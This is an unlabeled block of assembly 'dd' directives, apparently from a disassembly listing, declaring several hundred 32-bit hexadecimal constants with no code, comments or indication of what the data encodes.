dd 8E83A4DDh, 547898FFh, 0E3089846h, 7203A5CCh, 95E6297Dh
dd 0D3483C5Dh, 0DECA07D5h, 4F664F7Ch, 7F160D87h, 868FA1BAh
dd 102DC20Ch, 0F738A94Fh, 5BDC7426h, 3C81F02Fh, 0E6499D0h
dd 10E1C782h, 457C09C5h, 87FFE443h, 7ECE3334h, 3461D788h
dd 8F249E4Dh, 6B2633F1h, 0F05B92BFh, 7B900C2Eh, 0F50A61DEh
dd 5ED44B4h, 0AC508F2Ah, 3981BADh, 4C204CC0h, 0F39B2379h
dd 83FC760Bh, 432EB2EFh, 8146983Ah, 30CF8EDAh, 0AC783332h
dd 0A7F8893Eh, 0A991E53Eh, 594A79EEh, 0E83F8D06h, 7CCD061Fh
dd 0C5D7DC49h, 64A7546Ch, 5AE2C2A3h, 816F9751h, 91A7BF27h
dd 0D36D8B97h, 0A17C37FAh, 0DCE2A758h, 77F0D06Bh, 0AA46136h
dd 0AF5046E7h, 10E75650h, 0E7ABFCB9h, 0DA059DFh, 0ADB667F6h
dd 0D65376C3h, 0D100CE75h, 0CF4BDFD5h, 0C2ACF679h, 0BAB97046h
dd 94DD4056h, 2EBA80E8h, 7CA69E18h, 5F23CFE3h, 0D96359DCh
dd 0D5E7B117h, 0EAD084Fh, 66709FDDh, 0ECAD2FAEh, 0D75940D6h
dd 7D8DEF05h, 0EACB1FEBh, 0A7A77F5Bh, 71509C48h, 3FEA3F6Eh
dd 555E936Ch, 0E52B71C8h, 0ABB6AE0Fh, 0BF9476AFh, 458B277Ch
dd 0B2D19E2h, 7B78B237h, 0DAA16723h, 0F6C6AEE4h, 9CF25F5Ch
dd 681C1B71h, 0E9B757E0h, 0F5128D92h, 21BBEE9Ch, 0C25CF512h
dd 0B5184377h, 55BF1921h, 19E7F83Dh, 39E929E1h, 170F6043h
dd 0C23F180Dh, 219E4E39h, 85E77A98h, 0B5DBD695h, 2F40836Fh
dd 7E6CD0F4h, 7F674086h, 0C40165A2h, 0C45AAA49h, 98D1B792h
dd 57916C49h, 3E29DF12h, 0B4230CBCh, 0F5105864h, 0F76C63DDh
dd 0CE21F33Ch, 98E4577Fh, 1998D572h, 0F0AC0654h, 60E517FEh
dd 49A2EE3Dh, 0BD3FEAE6h, 1FF6B4EEh, 6E2C565h, 0B5E9EF6Bh
dd 0E99EF9ECh, 2F4F14F5h, 7A798DB0h, 3345FEE9h, 83D12D6Ah
dd 0BAD1231Eh, 4179E455h, 0E9CB094Ah, 43BBC9D5h, 4E5608ECh
dd 0A39AE18h, 4DEC87EFh, 7841EF21h, 0E4C11C8Fh, 9959DD3h
dd 77DA819Ah, 0B44A6984h, 660E400h, 9EDD5281h, 453963EEh
dd 0F56B10ABh, 9827BDC7h, 0F2FC471Ah, 0BE6BAF08h, 120B9EE1h
dd 0D2842AA5h, 7F45EA1Eh, 0A6431ACh, 13EF748Eh, 9B419112h
dd 0F2264B95h, 0DEF7B24Ch, 0B563BC2Dh, 62D429Dh, 8FC35FD7h
dd 26917EF0h, 7FB8472Ch, 0B317D55Eh, 0CF7A8841h, 6467B4Fh
dd 0AD88B84Ch, 0F4FD90A7h, 0A0C8E5ABh, 41BA463h, 31B10F54h
dd 0FAFDFC58h, 92541D1Eh, 0F8C9E344h, 0EF768A92h, 1B1077C1h
dd 1AC3BFBAh, 164A04D5h, 87B9F556h, 49B022A9h, 0B9813131h
dd 2586C21Eh, 39123137h, 0ED2EF588h, 5AC59C23h, 57E0EB0h
dd 0CAEF27A3h, 2F334093h, 0A30EF36Ah, 0D7E45BF3h, 0F0C5E66Ah
dd 17251247h, 0C5E66C3h, 97AC3BAFh, 0F99A8D5Ah, 7D453A9Ah
dd 6A5DC3A4h, 6991433Dh, 7093E3EDh, 0D05AED17h, 600BC9AFh
dd 9F7C43ECh, 0F7239071h, 5913CBE4h, 0A256EB77h, 0D453CD75h
dd 6072E9D6h, 9E8360C6h, 6E2F85F5h, 0F9B44796h, 36E85CCDh
dd 0B670DB7Dh, 63218581h, 6677716Bh, 0D13E5F77h, 0C9ADECD7h
dd 6C78B06Bh, 0A45E9F4Ah, 0F77685E8h, 81EA28E3h, 0E1FD453Eh
dd 0EE91DC0Fh, 0E15F7ECCh, 376B1916h, 3E7A8204h, 235C4385h
dd 0B25AFBF1h, 0F165EE59h, 0E0EFB41Fh, 0ADF79FDh, 87EEBC5Ch
dd 0BAF2702Ah, 0F51815DEh, 0B9A81503h, 7030DFAEh, 54551788h
dd 0CE7409F4h, 0CEC96F6Dh, 0B5D725C9h, 5E2AEF4Dh, 0B480E8B0h
dd 0C4DE717h, 5EC1300Ch, 5ED559DCh, 8C15CC1Ch, 82B9B1D1h
dd 0E9DB14E1h, 49C3D9D1h, 0F25BC462h, 3A01A516h, 4E8628F1h
dd 7B38341Ah, 0E7463BA8h, 12317EA1h, 7B3FC638h, 2BD3BC62h
dd 0CCB4D406h, 8C00A429h, 30E1ECBFh, 50130189h, 90CA9474h
dd 1A1E5276h, 2679B841h, 46F2AD6Bh, 1BE74720h, 33A81F90h
dd 0F8D3A06h, 0F3F4D7Dh, 0C8D968DBh, 0C4D17C7Bh, 0C7AE0C18h
dd 0F57146Fh, 5EADB67h, 0CF7ECA29h, 0B8A8BB18h, 0DBB7CD86h
dd 0E6AF4FC5h, 10C0C18Ch, 332E5E1Fh, 7194E1Eh, 0FB778D1Ah
dd 992155EAh, 4918FB40h, 7915B0DBh, 0CB01C9CAh, 0A413A8E7h
dd 0EFC53A02h, 31A09D2h, 94F5E168h, 71E88F9Dh, 0F0C7A2E5h
dd 3B15FD22h, 0D1E0B160h, 4AD71474h, 44CDB85Bh, 3F0641ABh
dd 3A00A14Dh, 0BB653DBAh, 9CA16C54h, 0F52E8BB2h, 5B3053E6h
dd 2E5E77ACh, 0F8C3BC4Dh
dd 0B6CC277Bh, 6B48475Bh, 94AEFBEBh, 94A3DE86h, 5BDF79A1h
dd 0C27BD69Eh, 29155C6h, 4A78F893h, 0DFD1E3Ch, 0B860B0AAh
dd 2E18EA8Ch, 0AEC5DEA3h, 3C36DC49h, 0DC9B0F2Eh, 41AD3CA0h
dd 3A59621Dh, 0F884E837h, 8A4E04A9h, 17681245h, 547024F3h
dd 0A865F54h, 2C03451Dh, 72E0B176h, 0B94701B5h, 59F17101h
dd 0BB8F9C7Ah, 0B2982983h, 0A9A78BB4h, 1111D1BEh, 5D877EDBh
dd 0FAF563ACh, 3F74941Dh, 0F22FF39Dh, 468158F1h, 0C8F613BDh
dd 0CE7419CCh, 114E7107h, 0BD94765Ch, 0B5B52D10h, 0A04FD373h
dd 0FF5CD9E9h, 15FF6293h, 434C49D0h, 6F89DDA0h, 29A3176Ah
dd 0E0822C40h, 4B76E44Ah, 5ED321A0h, 0A67614E8h, 775033AAh
dd 774CBA47h, 0C427BB17h, 8876EC6Dh, 0C22D765Ch, 87F6AE9Ah
dd 14D33B32h, 524BE03Ch, 0D2AB352h, 1536AACCh, 419BAB8Ah
dd 0E82496B0h, 9B2377D5h, 0C22B5AA0h, 5768391Ah, 9D3ED5C5h
dd 0C8345C27h, 0CAC5620Ah, 0C37A41B1h, 0CEFA775Bh, 9C337111h
dd 0B8A17EBEh, 351E402h, 74FDB801h, 0C3DEDAB9h, 8CE67AC6h
dd 0BDEF4BADh, 6BA0AAB6h, 43FF825Bh, 0F33A84C3h, 8AA143BEh
dd 3E6C8854h, 0E0C7957Ah, 8BABEF32h, 22C608CFh, 0F4BBEFF4h
dd 81E0928Eh, 83A22FB2h, 0FC1AFBCCh, 711129Bh, 21176872h
dd 0F2B027C9h, 0F5A66BBh, 368A8790h, 0F4511A19h, 0A506DF01h
dd 333772CCh, 8440DEEFh, 0D719E092h, 0DE94258Ah, 0B644B4A1h
dd 8101673h, 3AD335B2h, 0A4B43B73h, 0BC37C4CCh, 0C5EE2F3Bh
dd 4F2C3A42h, 70CAB3EFh, 0FB382B27h, 47F86E33h, 8AFC57B1h
dd 0A5E8B4E9h, 0DB05386Ah, 1B0376C5h, 0F7CBBBEAh, 0E7CC05E7h
dd 18B29557h, 338AB395h, 23E04165h, 1647DD7Dh, 3A694925h
dd 8DE836DCh, 8340E0F0h, 0F475AEB1h, 2FB34A5Dh, 69F8125Ah
dd 0D63DEC02h, 5ECD0123h, 41CC259Eh, 0D0B69705h, 0F4D89C63h
dd 1F4B2563h, 35A8129Eh, 46FBE9DEh, 0E14F675Ah, 81F48607h
dd 538F9F69h, 2D1A06CFh, 0F38C69E4h, 458B9260h, 3BE7DA0h
dd 0BEA9165Ah, 6CBF83CFh, 678BB6ABh, 0A5F5FBC0h, 1AC5CB8h
dd 12905C24h, 4F1AE82Eh, 18817DABh, 1C55D05Fh, 1EB16999h
dd 2A759709h, 0D9915D45h, 31928543h, 163F3AC8h, 22458E1Eh
dd 7EA56F45h, 5A1ECF0Dh, 2F16386Dh, 889DF4E8h, 31D8B6D8h
dd 0D8A5C523h, 764D6D09h, 0B8A40FE4h, 4218AD84h, 5D937401h
dd 5B92E34Ch, 9E00E2ECh, 0C1A417D9h, 943748Ah, 7CDE4F2Dh
dd 0B42C8A5h, 2D20B854h, 9912D052h, 0D0F134D7h, 0BE2677C4h
dd 3AE5C6CFh, 0A504AC95h, 0A59AC528h, 2BA566B7h, 0B2FA6945h
dd 0AB14EB34h, 0CE15AA95h, 511A1832h, 13A2BFFEh, 949F7D28h
dd 32D46965h, 358A6B25h, 32CD62CBh, 0B384A759h, 0CD3711D2h
dd 0CF1B1427h, 313102AFh, 3949B136h, 592464A6h, 7A19C3D3h
dd 5AD3938Ch, 4E2DB94Dh, 4AC47856h, 0A05A0A06h, 0CEE39730h
dd 1B87598Fh, 23A70ADEh, 0E6DD57FEh, 4DC7E54Ch, 5293DC8Eh
dd 32742C27h, 0AF5CA05Ch, 333863BCh, 3EBE1628h, 0FBAC66D0h
dd 0EBEE3E9Ch, 7CAE3EBDh, 8FCC9E84h, 98D240ADh, 8D69CA2Fh
dd 0BD785A1h, 4E89E091h, 9EA18F55h, 0C8B48497h, 0F184ED6Bh
dd 12CFA32Ch, 288BB42Bh, 178A724Ch, 4296E798h, 0DF1EFC5Fh
dd 0A97DE667h, 0A9433479h, 76A291C6h, 43EEB18Fh, 0E296C4E3h
dd 0E454CAC8h, 0A14A2E14h, 0AE1967DAh, 3EAA9EBAh, 0BAFF5505h
dd 5BE218C6h, 0D63A659Dh, 0A5845375h, 101C2EC3h, 0BE9E5317h
dd 894E8B09h, 0B46C1832h, 0FBCC477Dh, 847DD40Eh, 866B230Ch
dd 26656E72h, 0A84E5F35h, 0D68C78E4h, 4BCAAE9Bh, 0D8BB3EBFh
dd 18E196F0h, 0FBE4D9FAh, 78CCE674h, 736F9741h, 0E63AA2CFh
dd 0D58526B9h, 38A59610h, 86D8CB23h, 0F0CA9E1Bh, 35FD2C54h
dd 764AAD84h, 0F113A32Fh, 0E4B3BB21h, 0C4C2F3EDh, 9577A955h
dd 73A4EE1Ch, 50C56B91h, 165ABEF3h, 8BB56AE2h, 189845F0h
dd 4EF9714Ah, 0E503CA61h, 0A3B85B14h, 0EBD4CE52h, 42F397BDh
dd 4E05D780h, 0BB20A882h, 6B2B92A8h, 29578534h, 135822F1h
dd 0E8A9BBAEh, 381627B2h, 0DBDA0E45h, 86519DB3h, 2A2DFC85h
dd 285DF0BAh, 7D405FAFh, 0A1BA9B32h, 0C24E4D25h, 2A8C1665h
dd 0AFC3CF3Dh, 42B7EE79h, 5ACD0ACAh, 6985C5D9h, 0D559D9F9h
dd 85162F2Bh, 9945D4E2h, 3B2F4D25h, 93111B96h, 1DE5538Ch
dd 0CDCE52C2h, 9407AC8Bh, 0A919918Bh, 81232531h, 0D4C2E646h
dd 7BA1C356h, 6C465F7Ch, 1150DCB5h, 0F270B3C3h, 91C3BC08h
dd 9024B3E3h, 0C18EF3ADh, 48CB3FF2h, 0CA3BEB9Bh, 0EB5AC4C2h
dd 1A56C4C2h, 19C287A9h, 3B8686D9h, 0CBD1ED7Dh, 0F029C28h
dd 70297329h, 386B626Eh, 0F0EE028Dh, 0F37DB8C5h, 7364BC74h
dd 73F5EB68h, 0A2086313h, 2ECDB0E9h, 0E73A0BFBh, 0EEB45B50h
dd 0B0979DFFh, 0D3CD7030h, 2AA17F69h, 0A694A3BFh, 0A696B36Eh
dd 5C915336h, 0F6DA57E2h, 45228461h, 0B2561CE5h, 347DC092h
dd 0A4AF6401h, 52D24A17h, 0F739F7F0h, 2EC59484h, 84E8F4E8h
dd 0C3B202DBh, 0E78824C2h, 3C764952h, 3B0F843Fh, 34CC513Eh
dd 21E20DCBh, 2C59A48Bh, 1E696692h, 0AF2CD2A5h, 4CC4E48Eh
dd 13564CB3h, 0EB04303Fh, 6E9EF1A2h, 7DBCA59Ah, 9534BF36h
dd 0A8A77CBBh, 4B64A8B2h, 18ED85B9h, 839AA463h, 0AE2E7E78h
dd 37D30048h, 0CEDC122Dh, 0FFDF9CE7h, 603A641Dh, 481CFCF7h
dd 237454CCh, 0BFA1E2ECh, 76DF15F3h, 0A8FC72A9h, 4F95C5Dh
dd 0F439118h, 0A99CD532h, 63A2A4C4h, 0D1312F9Ah, 0F3E5FB5h
dd 68294CBDh, 0B09C16B5h, 0B58B416h, 850F5A8Eh, 69B31B4Dh
dd 0C293471Ah, 0CA16E123h, 0EE02A8DCh, 8A3D39D9h, 0DEC4D278h
dd 0C4567AFDh, 0DE7B9693h, 548C997Bh, 253C3D08h, 785D3A4Dh
dd 59A967Ah, 0FECBA65Ch, 0C6A56664h, 780F28E3h, 24C21B2Fh
dd 0A6539314h, 9429244Bh, 71A75E8Fh, 0C807544Ah, 88A8188Bh
dd 0D2270977h, 99167CE9h, 0DC2ED739h, 1B1800E7h, 56862E67h
dd 63497B16h, 46275E92h, 0A4CF4060h, 309C86CEh, 0EDB0C78Dh
dd 2A6D8464h, 0EA75A76Dh, 3307EC4Ah, 0B5E10B33h, 5E792F8Bh
dd 4A29C94Ch, 0F2D0E6F7h, 8F80298Ch, 0E74819E9h, 743BF172h
dd 51BE5FF6h, 8531B457h, 6086485Ah, 0C8DFB8B9h, 0BD7DE890h
dd 7F7985BEh, 0C318B7F7h, 9EB3A2DFh, 38C6429h, 0F507CE2Dh
dd 2470D67Ah, 0C1638F7Dh, 0D9431A21h, 2CFAB38Fh, 19D052A3h
dd 0CEB62936h, 867E78C2h, 69E19FD0h, 6590618Bh, 92670396h
dd 0B52DDE39h, 0FEF3034Bh, 39D8FCC1h, 6CC43945h, 0F966C3BEh
dd 0E6D559B8h, 5E7A2D6h, 5977A3DDh, 9AE1CAE3h, 0D9ADC18Fh
dd 7EF2BAF7h, 0D8F7849h, 0B50CAF8Fh, 7F3D9CCFh, 0FE20497Bh
dd 2567E960h, 577D87B9h, 16370DFEh, 460FF8D6h, 3CF48E8Ah
dd 0A17DFC58h, 748FF1E5h, 4969FA5h, 11681352h, 0E584978Fh
dd 0D1AE7FCAh, 3CE589D6h, 1CA01C62h, 39ECE67Ah, 37BEF3h
dd 0AF7D9F36h, 34385944h, 1DCCA256h, 9E125EDAh, 0B28975F7h
dd 66941126h, 38915289h, 5E786E01h, 4948F587h, 125628B8h
dd 0CF099DB6h, 0B3EF32EBh, 33289575h, 0E992B16Ch, 0D2CAEA0Fh
dd 0FBDEFBCCh, 0C6B471D9h, 4A8FC1F0h, 1422C6C2h, 8118A716h
dd 8F4A136Fh, 380D8EDEh, 8B181252h, 0DA3A329h, 4BA686AAh
dd 297163DCh, 573BCA75h, 280EF31Dh, 482227D1h, 7BA956F9h
dd 0CAEBE266h, 0CD3B873Bh, 0FEDE9AFBh, 0B835FADCh, 0B67A275Dh
dd 0F2B68807h, 0ED92345Ah
dd 1691D1C0h, 1EED1CD6h, 8412AF03h, 0EBD495CFh, 5100FA81h
dd 79A27446h, 4C23F30Eh, 8E5B1194h, 2A377EA5h, 48158BA7h
dd 0B8EC4DE2h, 0F1270F18h, 24AAFF84h, 9EF77F70h, 429F681Bh
dd 5685B12Bh, 5269677Dh, 0E1A2E049h, 19EB0491h, 0D99D2CA5h
dd 0C8CF6BD0h, 6FEF9985h, 0DE553217h, 9F3A976Ch, 31E4B81Ah
dd 4EF5AC1h, 592318A2h, 0BA93C44Fh, 13ED4E63h, 4CC71D73h
dd 5B14CB47h, 0D461D11Ah, 0AB5D6704h, 91233231h, 6069CC16h
dd 67DAF474h, 0CBE6487Ah, 5FC5C2D5h, 0C859F2CFh, 8937F32Eh
dd 46996723h, 0C0A63983h, 78E6E0CDh, 0D612912Fh, 59C77714h
dd 0C4922539h, 0EEE0DF5Bh, 568BA711h, 0D30B235Ah, 522D3626h
dd 6CD6F4F2h, 0D7814DEBh, 0DA6CE18Dh, 7DF6EEA3h, 14EE5DD9h
dd 5DD0F7A2h, 1057B08Bh, 12487E71h, 0CE2099E7h, 0FAADEBB1h
dd 0ACC5C406h, 2DAF306Fh, 0E0AD65B4h, 66D697A9h, 0A2A6CBD5h
dd 0D53A135Eh, 19E2E04Dh, 0BCCDC2ADh, 36A15E65h, 55389840h
dd 0B616B586h, 0CAB1DEE5h, 0C46F0262h, 16296D1Bh, 2905199Eh
dd 725E7F6Fh, 89452CB8h, 0F2A5FDBDh, 0D64D55C6h, 0BB102553h
dd 0FB1E1A51h, 3CBB7A18h, 6A72E8FAh, 4E911D26h, 84FDF075h
dd 1F494F47h, 3C0BA4A4h, 5169A506h, 0AEBEB964h, 9DF6912Dh
dd 698789C6h, 0C489D7A4h, 26130FBAh, 39DA14C6h, 5B5233ADh
dd 0C92FAAAFh, 8437DAFDh, 0DA86114Eh, 0B1223301h, 0EC48ECC8h
dd 0C1D1C7F0h, 76B07D1Eh, 0BE993781h, 30617863h, 0D2844446h
dd 62ABFBE8h, 0DAB02D8Bh, 6384FF5Ah, 4F72F7B9h, 7144F502h
dd 83B478A1h, 0B142E9A9h, 1A50150Ch, 141BD15Dh, 0DC85A31Eh
dd 919E3705h, 74E6241Dh, 3E4A45B0h, 0E43C4F9Ah, 0B7408231h
dd 5E1E8132h, 1AFBE296h, 0A6EA4FD7h, 37AA5273h, 525D12B0h
dd 0E8622D0h, 7428104h, 0FC8194E0h, 0F362210Ah, 0C19542D3h
dd 4601B13Ch, 8A743F6Dh, 0BC70062Fh, 40393898h, 9885A99Eh
dd 5E911049h, 8AF98C9Eh, 76563735h, 81FE701Dh, 7CBB68F2h
dd 96BB5CA0h, 0DC2ADBB1h, 0C588B6ECh, 6D8D2AE4h, 2CF2B8F9h
dd 0B4898533h, 0E6E331DBh, 0B8F2DDF8h, 77898DF8h, 931EFDD3h
dd 0BF1F691Dh, 0FBCFD4Ch, 67E4930Ch, 1FACED01h, 0CD46420Ch
dd 0B75432E2h, 0E7DBE2C0h, 2B728659h, 176390AFh, 5E40869Bh
dd 4C0AD49Bh, 244BEEC1h, 5D39F744h, 0C6F100A1h, 4C78F257h
dd 36F74C24h, 5E0210F3h, 0C19E4AFEh, 0CD3541F8h, 5338C184h
dd 33CE3306h, 2F69BFCBh, 92197A96h, 2CBBC352h, 0D315227Bh
dd 0FF657832h, 0FD2C5EE3h, 0B2C92453h, 2D47EB5Ah, 0F17BBBC9h
dd 2EC1A598h, 9DB3B3F3h, 8D166A79h, 7D1E81B3h, 0B6DC5AD8h
dd 4DCA2FBh, 4EC80773h, 6D900EB4h, 76403898h, 640355E2h
dd 0AE4E5E27h, 0BF8DEAFAh, 44F25828h, 16719C46h, 1336F422h
dd 0FD14DBCEh, 71080926h, 89B604BDh, 89881271h, 166812D1h
dd 2B5024C3h, 24D02552h, 14E8128Ch, 9A7193E7h, 0EDD8FB97h
dd 0F062EC33h, 0E9DCF897h, 6E449638h, 0F17711A3h, 0BC242C0Bh
dd 0C4DAF58Fh, 636C3CA8h, 29E5CBF1h, 3F71E54Bh, 0BCB78679h
dd 40AA3576h, 0E673154h, 0DA48A4C5h, 0E0F3E7A7h, 0B7EAA1E4h
dd 34E5B5A6h, 4C5AB7B7h, 0D081C934h, 4D1B0DFDh, 2985032Ah
dd 0D01C0D88h, 2897808Ch, 85F17C40h, 0B10EFD9Ch, 82AAA080h
dd 2AD65093h, 0C1456E0Bh, 3CC16AADh, 82B54A4Eh, 14F5A7B7h
dd 0E0B52BFCh, 99259257h, 0DDF05DDBh, 59EFC16Ah, 39AB010h
dd 0D30116Ah, 30517B05h, 5274FE3Fh, 51DA6597h, 2BF8B135h
dd 0A4499720h, 2384356Dh, 4DC66CC4h, 0B30E3891h, 0F17674CBh
dd 9A4A98CFh, 0AC5DB073h, 0A01676Dh, 6BBB081Ch, 6B2C94D1h
dd 0D16B9731h, 72692854h, 0E59500F7h, 65B679D3h, 5AC5ED44h
dd 38988EF3h, 4D988495h, 5ADD8DA2h, 9C9261F1h, 0C926EF3Dh
dd 0BBB30E1Ch, 92481C4Dh, 492EAF23h, 495DB48Eh, 9CBDA472h
dd 67A2E204h, 5758E9A4h, 8112259Ch, 0A5956184h, 907788E2h
dd 0DE49DBFFh, 5B90D0A4h, 0F95FA3F3h, 47E5D0AFh, 4B7DD29Eh
dd 38AA641h, 410E7414h, 0A0847F03h, 0EBA8392Bh, 58AA83FBh
dd 695692A2h, 357297CEh, 448E6B9Bh, 235BFE8Ch, 5CD47E33h
dd 5FA2435h, 39D25005h, 73E650E4h, 368A11F8h, 0E0ED5EB4h
dd 0EE81C003h, 1FFE4F8Bh, 0FAC0AADAh, 0EC3F4A6Ah, 8D4B1549h
dd 0EF4FF1h, 887BE0B1h, 811B548Eh, 3C6D76A7h, 0C6DA6EC8h
dd 6FA6ECA3h, 6C66EC14h, 0CC77676Ch, 337656C6h, 77609E37h
dd 7666C6DCh, 616C6D27h, 18C6CA77h, 0BA8D59BBh, 0C3C46F67h
dd 0DD46ECA2h, 0E40167B0h, 4F4EEA35h, 2434B04Bh, 0DF3D4CA2h
dd 7BDD40EEh, 0F56BC991h, 0F16355E8h, 0AF803F1Fh, 0F0158839h
dd 6FBEF1D8h, 2DDB1890h, 2ECA69D4h, 0FBA5041Ah, 8DAD4E97h
dd 0C38A399Ah, 0B0649221h, 6F2A2DBCh, 861AC85Fh, 0A237DC1h
dd 411E1B7Dh, 6DCA52FAh, 0A2E826B1h, 0BAE207Fh, 2219F19Eh
dd 6AFFB33Eh, 0E479F1A9h, 0BFE18A56h, 8E0E6759h, 757F6696h
dd 6D54DBBEh, 0DC6F529Bh, 0DC312DD0h, 4D76B0ACh, 0E8032A9Dh
dd 0E85F1E5Fh, 0DD937972h, 0DB161CEEh, 4D3C6285h, 976EA771h
dd 71EBF59Eh, 14998B16h, 2B4D5D3Eh, 0D21F7C9Eh, 3E33E0ADh
dd 0CFBF1374h, 10CC400Ch, 70CE608Fh, 14B7C5B8h, 0EB08FF87h
dd 0DFC7B05Ah, 58AED60Eh, 83A07FE0h, 32742E6Ah, 0C03BBAA0h
dd 0D0EB60D8h, 0DE96E44Bh, 97F7A148h, 0D1DE7499h, 8D04DF7Ch
dd 809F7109h, 86AD6A12h, 1705CB37h, 70D41492h, 335930DFh
dd 10DE2C3Ch, 59ACDDC3h, 0D0F8D34Eh, 6A217875h, 494EA4EBh
dd 43C4AF30h, 480A4D79h, 89244CF2h, 0F3C7E11Dh, 541C707Ch
dd 0DE018D8Dh, 567A3D6Eh, 8DB9F150h, 0C7F2283Eh, 0AD1A60E3h
dd 0D1F176F9h, 0AD88744Eh, 217EA5D3h, 7B3C8899h, 2D553C8h
dd 0EB1FA90Bh, 1799E9BDh, 0D521DDEDh, 0BB156AB2h, 4C311959h
dd 1E9D38A4h, 0B9661383h, 62F6B04Eh, 5E10BAFAh, 6D878CEBh
dd 1AC57326h, 398D7E16h, 0B30C80E7h, 0D60CA1CCh, 95BB0D7Eh
dd 5283A926h, 0C63C56CDh, 0BE5CFCCFh, 433332D9h, 0D0B5664Fh
dd 5DCB8C56h, 102AECEFh, 99509D73h, 361D5576h, 55056C5Fh
dd 808934B6h, 0AE76C318h, 42AAF79Bh, 71C57999h, 77F51A6Fh
dd 8D7BAABFh, 54D1F4DBh, 0B21D20A5h, 0EBA2298Eh, 7D5EF127h
dd 0B9C98B39h, 0CA3BB54Eh, 2C4D5D6Dh, 0ADDD5B6Ch, 85831A6Ch
dd 4CA3E6DAh, 0E5DBD40Eh, 0AB4791A7h, 0AD90B2FDh, 0D7D67FB2h
dd 0D62D501Eh, 62C87FF9h, 6755B49Dh, 0BADB0DADh, 813176ECh
dd 0CE81A639h, 6B6FF322h, 6A54ACD9h, 5352B32Fh, 1799FB6Bh
dd 0D12ECAE2h, 50540B4Bh, 64539F4Dh, 8B839A72h, 0C8DFF8F0h
dd 0AC2D7DE2h, 0A9A1DA1Dh, 4966F6C7h, 8AC55F54h, 0FA3DF3A3h
dd 5604DD06h, 0D546C8AFh, 421A46C4h, 0EBB88B54h, 4BD50361h
dd 3E4E46CBh, 0F285D4F9h, 1DE24DBAh, 0B96669F4h, 85ECFE5Ch
dd 0CCA067FDh, 3C6BC56Bh, 1171E0DDh, 47C50AC9h, 572EB6B9h
dd 0C7F7ACFFh, 0C74C93FEh, 0F4F4CDF7h, 8A66EFC5h, 6BE9B419h
dd 76A74C39h, 95FFC677h, 3EF6F371h, 0CB4EFF19h, 52F81CD8h
dd 0FB6C655Ah, 5096BD54h, 0E1183357h, 2312276Ch, 96258B6Ch
dd 4912CB7Fh, 0D1A85611h, 65D45233h, 0E1CFD205h, 0E35C9322h
dd 22F00E6Ah, 0DF168883h, 8023497Fh, 0A9D8E45Bh, 0BF313D95h
dd 44ECBCA4h, 7643F273h, 0A8B94D75h, 976529AEh, 23D66951h
dd 87235913h, 29ECE872h
dd 0B66C9FAAh, 13BEA95Ch, 78BF7B6Fh, 9CA99B71h, 4E932456h
dd 0AD4C3657h, 0C6C5AF6Ah, 40D8B3DDh, 22FE7DA7h, 0B82EDE88h
dd 8DA5D6CAh, 3FDFD5E4h, 0B7DBCB92h, 0B45E5B76h, 75170F1Eh
dd 0AB22F479h, 6A13EF9Ch, 0E9B6837Dh, 0D6DB4431h, 0F3B077F1h
dd 5B9CB57Dh, 0C1E4B9C1h, 0B3D0AF4h, 15AA667Bh, 0D98C2845h
dd 154AAE55h, 3DE9A87Ch, 0DD31CB75h, 8F2BABCAh, 73399845h
dd 0A6586374h, 0A0DD85DDh, 8E5B7FFh, 8815E3A2h, 2EF6452Dh
dd 0BDF07986h, 0DDE4D90Bh, 0CF8D7962h, 0F8699411h, 0A477F15Ah
dd 0EFCC3AADh, 0EF023534h, 7B01DD1Ch, 69DF33E7h, 3288168Ch
dd 0D5E2A77Ah, 9E37CF15h, 0C8B55D85h, 0AE79272Fh, 9BA7542Dh
dd 59C1C2Bh, 0DEF561F3h, 94A5EE11h, 6DB77E67h, 6B72BC37h
dd 0FA6C4360h, 5F16C933h, 0F6273656h, 2BBB524Dh, 0F74A7B72h
dd 32E2B2B2h, 24DEB487h, 0B5A48B6Ch, 6360687h, 3EE6CFA7h
dd 0C6750DF4h, 762AE35Fh, 7087D47Fh, 0F0E2A389h, 7E38AB65h
dd 0D86D9B9Bh, 22FAF0FCh, 12418AEDh, 2EA7BE5Dh, 0C6AD03FCh
dd 2DE927A3h, 0D4CBFCE2h, 0EB2BEA95h, 24E99705h, 79578797h
dd 15221156h, 954FC085h, 0B962C26Eh, 12411A17h, 0DE14437Ch
dd 0BB5E7ECDh, 437AC0C4h, 6B5BD40Eh, 0FFEC75D5h, 0F03DF6B3h
dd 0E3D7554Dh, 86D25F49h, 5B012536h, 4AB45A29h, 48A82899h
dd 9DA4B6A8h, 3AA57845h, 922C2CAh, 936E0B55h, 31CE662Eh
dd 12A18F78h, 0FB46974Ch, 36E6C97Ah, 9BA6DCDCh, 375F755Dh
dd 0E9B86EFDh, 58D089C4h, 58651696h, 33F94190h, 0D5E10E29h
dd 6DA814A0h, 3BF7DA80h, 0B497DCE7h, 0DF6E8FE5h, 0A48FCFCFh
dd 0EF77DDEFh, 3BFEE7B9h, 0CF73DCF7h, 0D24B529Fh, 78436EDDh
dd 4BEE060Bh, 3DFC956Ah, 3C024FA9h, 0F16092D1h, 68CDF2D5h
dd 0D505B07Bh, 486BD433h, 0FD9F1F93h, 8033EB57h, 155D41DBh
dd 794302Ch, 33A40B8Bh, 0D2429798h, 5C9D0AA5h, 5FC0F38Fh
dd 0A0B7111Ah, 0AC5FE027h, 0B4A2547h, 89BFE62Ah, 6F956139h
dd 0C4DB59E3h, 0A147182Dh, 0A3C76C4Dh, 92EE22A1h, 8A607146h
dd 0DB8509D8h, 8D2D8C44h, 0F582DC4Dh, 0AC170E06h, 0E6874D30h
dd 9C8154F8h, 6AB96B44h, 7415AC2Fh, 0A10DCAACh, 2380B771h
dd 0FA99496Eh, 7B2EC157h, 17F8CCDAh, 1BAB0E5Dh, 32FDC7B9h
dd 0F004A6CFh, 0AA237E62h, 0A6D0F490h, 0E0D38F8Ah, 0C3A2951h
dd 0EE66DD9Dh, 522B5F82h, 0DE953292h, 3B056BADh, 0A78E2DA6h
dd 0D2F8652Bh, 5A4B3F84h, 0FC5C9DD9h, 5FEF0F63h, 0ABF28F3h
dd 68756C73h, 0B7C0698Dh, 96690D2Dh, 4B73BDC0h, 5EDABEBFh
dd 0D5A8FB5Ah, 0AF05A9B6h, 7F19E630h, 9D2CAF1Fh, 0C3156905h
dd 67C6B6D2h, 9D5B4E94h, 0A8F25A53h, 0AB0A2EBDh, 8BFC6C4h
dd 0D2FCF1EDh, 0A5B94AEFh, 94C6955Fh, 9465203Eh, 0AF8493CEh
dd 97C147C6h, 7E017159h, 493F8B6Fh, 915F77B7h, 0B8743215h
dd 5D35F93h, 0ABA41A67h, 0B4AD31Bh, 0A3A5F1A4h, 943674A0h
